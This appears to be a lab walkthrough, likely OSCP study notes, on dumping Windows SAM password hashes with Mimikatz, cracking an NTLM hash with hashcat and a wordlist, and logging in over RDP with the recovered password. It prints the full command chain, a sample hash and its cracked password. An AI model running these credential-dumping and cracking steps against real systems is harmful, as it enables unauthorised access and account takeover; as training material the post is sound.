Published on June 25, 2025
The Security Account Manager (SAM) is a Windows database (C:\Windows\system32\config\SAM) that stores local user account information and password hashes. It’s locked by the OS while running. To protect against offline attacks, older Windows used SYSKEY to encrypt parts of SAM.
NTLM (NT Hash or NTHash) is the unsalted MD4-based hash of a user’s Unicode password. Microsoft moved from LM (weak, split-into-two 7-char DES hashes) to NTLM on modern systems. NTLM is case-sensitive, supports longer passwords, but still lacks a salt, making it vulnerable to precomputed attacks (rainbow tables) and offline cracking.
Mimikatz is a post-exploitation tool by Benjamin Delpy (“gentilkiwi”) that:
PS C:\Users\offsec> Get-LocalUser
Explanation: Lists all local accounts; identifies target user (e.g., nelly
).
PS C:\Windows\system32> cd C:\tools
PS C:\tools> .\mimikatz.exe
Explanation: Launches Mimikatz from a folder where it’s stored.
mimikatz # privilege::debug
mimikatz # token::elevate
Explanation:
privilege::debug
activates SeDebugPrivilege;
token::elevate
impersonates the SYSTEM token.
mimikatz # lsadump::sam
Explanation: Extracts NTLM hashes from the locked SAM database via LSASS memory.
echo "3ae8e5f0ffabb3a627672e1600f1ba10" > nelly.hash
Explanation: Saves the extracted NTLM hash of nelly
to a file for cracking.
hashcat --help | grep -i ntlm
Explanation:
Reveals that mode 1000
corresponds to NTLM hashes.
hashcat -m 1000 nelly.hash \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
--force
Explanation:
-m 1000
: NTLM mode;
rockyou.txt
: password list;
best64.rule
: common mutations;
--force
: override warnings.
Result: nelly: nicole1
mstsc /v:192.168.50.210 /u:nelly
Explanation: Launches Windows RDP client; enter nicole1
when prompted.
sekurlsa
and lsadump::sam
modules extract credentials from LSASS.